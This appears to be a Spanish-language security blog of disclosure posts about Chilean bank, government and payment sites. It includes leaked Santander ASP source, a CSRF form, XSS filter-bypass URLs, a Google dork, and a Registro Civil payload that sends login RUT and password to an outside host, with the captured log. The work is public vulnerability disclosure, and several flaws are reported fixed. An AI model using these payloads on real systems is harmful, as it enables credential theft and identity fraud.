Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.

Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a @Van_ultraviolet, que le respondieron:

• Es una persona que necesita mucha atención, por eso hace esto.
• Cualquier persona puede acceder al código fuente.
• Revisamos las alertas del pseudo-hacker y no son reales.

Pueden ver a respuesta completa aca: http://twitter.theinfo.org/152376559511142400

Considero que esto es impresentable y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.

Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del Source Code Disclosure y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.

El banco no ha respondido publicamente sobre el asunto, el “canal web” y el llamado “Community Manager” que maneja la cuenta de Twitter (@SantanderChile), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.

Como conclusión, hay 3 empresas involucradas:

1. Santander: La entidad afectada, el Banco.
2. TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.
3. NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la “seguridad” del Banco, es decir, es la “empresa lider en seguridad informatica” que audita periodicamente los sistemas del santander, según ellos; Aviso de seguridad Santander.

De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.

Ustedes juzguen.

Se trata de una vulnerabilidad Local File Include + Directory Traversal = Source Code Disclosure, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.

Lo curioso es que segun el aviso de seguridad oficial del banco santander, hay una empresa “lider” en seguridad informática que les hace auditoría periodica:

Cierto, parece un chiste.

La vulnerabilidad está presente en el archivo “VerRentabilidad.asp”, que sirve para ver la rentabilidad de “algo”. El archivo necesita que se le entregue una variable “Numero”, al cual debemos pasarle especificamente un archivo y será descargado.
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga

        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" & nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") & Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" & nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if

En la línea 01 almacena en la variable “nombrePDF” el valor que le entegamos por URL mediante la variable “Numero”, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.

Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.

Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema

transa/
transa/ErrorDB/
transa/DHS/
transa/solicitud/
transa/include/
transa/Productos/
transa/Productos/include/
transa/preerror.asp
transa/logteclado.asp
transa/FuncBanco.asp
transa/common.asp
transa/cruce.asp
transa/ErrorDB/LogHOB.asp
transa/DHS/Constantes.asp
transa/DHS/DHSFuncs.asp
transa/solicitud/constantes_campana.asp
transa/include/ReadWriteSesion.asp
transa/include/TrampHBFC.asp
transa/include/prodini.asp
transa/Productos/include/ProdMenu.asp

Por ejemplo, ReadWriteSesion.asp:

ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) & right("00"&month(now()),2) & right("00"&day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) & "ErrorEstComp" & NameArr & fecha & ".txt"
	Linea = "	URL = " & URL
	Linea = Linea & "	Detalle = " & Objeto
	linea = fecha&";"& TimeValue(now()) &";" & linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function

Otor ejemplo, el archivo cruce.asp:

'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME & "/transa/partida.asp"
        path_sinper = SECWEBNAME & "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************

Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el sistema de banco mas seguro de latinoamerica.

A todas las personas que lean este artículo:
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.

A los encargados de seguridad de los bancos u otras entidades:
- La seguridad no es unicamente enviar emails y dar consejos tipo “no abras links”
- La seguridad de tu institucion no depende de un certificado SSL.

Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:
site:santander.cl inurl:VerRentabilidad
No es necesario estar logueado en el sistema para poder explotarla.

Solo me queda una pregunta… ¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?

Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:

Política de Privacidad

En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la empresa respeta el deber de proteger los datos de carácter privado y personales de los usuarios, no dando acceso a ellos al público a menos que el propio usuario los de a conocer, por medio de la página web bajo su consentimiento, no pudiendo hacer responsable a la empresa por la información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales tomando todas las medidas necesarias para esto, a fin de evitar la pérdida, mal uso o cualquier apropiación indebida de estos mismos.

Lo que más me llama la atención es que segun ellos, son 100% privados y seguros:

Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% no existe.

He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.

Las vulnerabilidades son Cross-Site Request Forgery (CSRF) y Cross-Site Scripting (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a “tus amigos” para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.

Uno de los XSS detectados está en la página de error, cuando no encuentra el “módulo”

El segundo Cross-Site Scripting, lo encontré al momento de configurar el “Boss-Mode”

Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un “mensaje” enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).

Si falsificamos ese formulario y lo corremos de forma local, con un simple html:

<form method=post action=http://www.huntcha.com/?c=app&m=send_invitation>
Token Falso: <input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391><br>
Nombre: <input type=text name=name value=”AAA”><br>
Destino: <input type=text name=mail value=panic@zerial.org><br>
Mensaje: <input type=text name=message value=”hola<a href=’http://www.huntcha.com/?c=index&m=bossmode_denied&url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl’>AAA</a>”><br>
<input type=submit>
</form>

El formulario nos quedaría de la siguiente forma:

Cuando le damos a “Submit query”, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.

En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.

La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a cualquier portal o sitio web. Hoy en día todas las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.

El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.

Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference 8.8 para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una “entidad reguladora” es capaz de hacer entender a los responsables y encargados.

Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el robo de credenciales y suplantación de identidad.

Este fallo afecta a la página de autentificación de certificados en línea

En el cual es posible modificar la función el botón “Ingresar”, para que nos envíe la información de identificación a un sitio externo.

La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el dominio original y real del Registro Civil, incluso su certificado de “seguridad” SSL. La URL maliciosa tiene la forma

https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX

Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable “pag” y sobreescribir la función javascript “ingresar()”.

En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación

El nombre de usuario/rut
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E

La password
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E

Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón “Ingresar”, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc’; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(‘rut: ‘ %2b _a %2b ‘ password: ‘ %2b _b); }</script><script>

Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador

Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.

Modificaremos la función “ingresar()” de forma tal que nos envie la información del formulario al dominio zerial.org (de pruebas), usando el siguiente código javascript:

pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}

Se lo inyectamos a la URL vulnerable:

var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E

Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:

x.x.x.x – - [xx/Nov/2011:xx:xx:xx -0300] “GET /PoC_RegCivil?tipoAyuda=&runOI=1544345&dvOI=&passwordOI=prueba HTTP/1.1″ 200 1529 “-”"

Podemos ver donde dice runOI y passwordOI, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario

RUT: 1544345
Password: prueba

Finalmente, la URL maliciosa tendría la forma:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45

Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.

ACTUALIZADO (3 de Diciembre): Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.

Como siempre, hay que hacer publicas las fallas para que le den solucion.

Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas

La diferencia que existe entre las Reportadas y las Sin Reportar, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de “consultas” y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.

Los sitios web que realmente deberian tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.

De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting

Es curioso, ya que una es client-side (xss) y la otra server-side (sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.

La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el crash de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.

Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:

Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus clientes alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.
Con eCommerce, me refiero a sitios que ofrecen “comercio por internet”, como PC Factory, Falabella, Ripley, etc.
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.

El último gráfico, corresponde a sitios segun su pais o dominio

No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.

El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad o del area de informática de bancos, universidades, etc. Hubo charlas técnicas y otras no tanto, yo expuste, además de la presentación de Secureless, algo que ya había expuesto antes en otras conferencias, sobre Hacking Automatizado, básicamente la automatización de tareas mediante scripts en bash, php, python, etc.  De esta chalra no pude  mostrar todo por falta de conexión a internet.

De las cosas que mas me interesaron, fue “Gaining Full System Access via Virtual Memory“, que comenzó hablando sobre congelar la RAM para mantener la información  (Cryogenically frozen RAM) y que obviamente el escenario para explotar este tipo de cosas es bien complicado, ya que hay que tener acceso fisico, sin embargo, esto tambien sucede en las máquinas virtuales por ejemplo con VMWARE, que genera un archivo “.mem”, basta con hacer un dump de ese archivo y guardarlo para simular el “congelado”. Mediante este ataque, Thomas demostró que Linux es más inseguro que Windows en este sentido, por el simple hecho de que Windows es capaz de cifrar la información que está en la RAM, Linux no lo hace. Lo demostró leyendo el hash del archivo /etc/shadow desde la ram y también accediendo a la password en texto plano que se digitó para autenticarse en una shell.

Tambien me pareció interesante la charla de Marco Balduzzi quien hablaba sobre HTTP Parameter Pollution, que por el tipo de preguntas que se hicieron creo que no mucha gente entendio el sentido de HPP.

Más allá de las charlas, lo que más me gustó es que existiera la instancia de poder mirar cara a cara a los distintos responsables y tambien conocer a gente nueva que está interesada en todo este tema de la seguridad informática y hacking. Me dio mucho gusto conocer a varios de los que solo me había relacionado via email para reportar vulnerabilidades.

Nos vemos el 2012!

El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure sobre las vulnerabilidades para denunciar este tipo de hechos.

El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.
El XSS que encontré, está en el archvo rim/default.asp en el subdominio si2.bcentral.cl.

Como prueba de concepto, incrustaré un ‘iframe’ con el sitio web de Google dentro del sitio del Banco Central

Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio “seguro“.

Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.

La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección “Base de datos economicos”, que al parecer ya ha sido corregido.

Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.

Los captchas (Completely Automated Public Turing test to tell Computers and Humans Apart) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques (por ejemplo fuerza bruta).

En el caso de Facebook, el captcha está de adorno. Manualmente, un usuario puede hacer uso de google para buscar personas y llegar a su página de Facebook, por ejemplo, buscamos a “Juan Perez” y llegamos a su perfil http://www.facebook.com/juan.perez, Facebook nos mostrará un captcha para poder ver si perfil

Si ingresamos las palabras que nos aparecen (iedshm, and) podremos ver un poco más sobre el usuario como su foto

Una persona debería poder ver este tipo de información si ingresa a facebook e ingresa el captcha correspondiente, para evitar que programas automatizados o bots se dediquen a recolectar información de los usuarios, pero la verdad es otra. El captcha de Facebook está de adorno.

Hagamos el mismo ejercicio, busquemos a una persona en Google e ingresemos a su perfil en Facebook http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077 y Facebook nos muestra amablemente un captcha

¡Asombroso! Las eguridad de Facebook ha mejorado, ya que nos pide ingresar caracteres que no son alfa-numericos…. Ya, pero hablemos en serio.

Intentemos ingresar cualquier palabra a ver que pasa

Magicamente, sin ningun tipo de seguridad, nos muestra el perfil de la persona

Ahora ya sabemos que el captcha de Facebook es de juguete y que podemos saltarlo simplemente con un “enter”. Solo bastan unos minutos para programar un pequeño script que se dedique a recolectar información de los usuarios.

¿Será otra caracteristica de facebook o será otra violación a la privacidad de sus usuarios? Claramente esto se trata de un bug, ya que de lo contrario no se molestarían en pedir un captcha.

Ironicamente, cuando vemos el link “¿Que es esto?” al lado del captcha, Facebook nos muestra la siguiente información:

Otra más de facebook.

Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son unos tontos unos niños ingenuos, y que por no hacerlos pensar “donde hacer click” le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.

Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario “normal“, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.

Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.

Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo “rut” para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, ¿cual es la mejora de usabilidad que implementó Santander?

Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.

El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo “rut”, que no está protegido por “*” y queda registrado en el historial, cuando el usuario sin darse cuenta presione “Iniciar sesión”, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.

Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido “rut”.

¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?

Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa

Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable “Rut” es posible inyectar código javascript y poner en riesgo al usuario.

El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los “XSS visual” no afectan al usuario:

Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.

La vulnerabilidad se encuentra especificamente en la URL http://www.servipag.com/browse.asp?pagina=web/registro1.htm. El sitio autocompleta el campo “rut” según el valor pasado por GET mediante la variable “Rut”, por ejemplo, si ingresamos a http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1313&BuscaDatos=2 veremos que nos completa el rut de la siguiente forma

Y si vemos el código fuente, nos muestra:

Por lo tanto, si en lugar de “Rut=1313″ pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función “Reset()”, sin embargo, el desarrollador de servipag puso un estúpido inutil filtro que es demasiado fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos ‘; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.

La sintáxis que usaremos para explotar la vulnerabilidad será 1212′;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/* la cual nos generará un código fuente similar a:

Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.

Finalmente, la URL vulnerable es http://www.servipag.com/browse.asp?pagina=web/registro1.htm&Rut=1212′;}/**/window.stop();confirm(/Servipag_XSS?/);/*=’&BuscaDatos=2.

ACTUALIZADO (12 DE SEPT 14:08hrs)

Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.

Por lo general, esto sucede cuando no existe una capa intermedia entre el archivo y el sistema, sino que se linkea directamente. Algo que debería ser http://www.dominio.cl/sistema/index.php/descargar/949394 es http://www.dominio.cl/sistema/admin/archivos/usuarios_y_passwords.docx, y en el peor de los casos hasta se puede eliminar el nombre del archivo y listar el contenido del directorio “archivos”

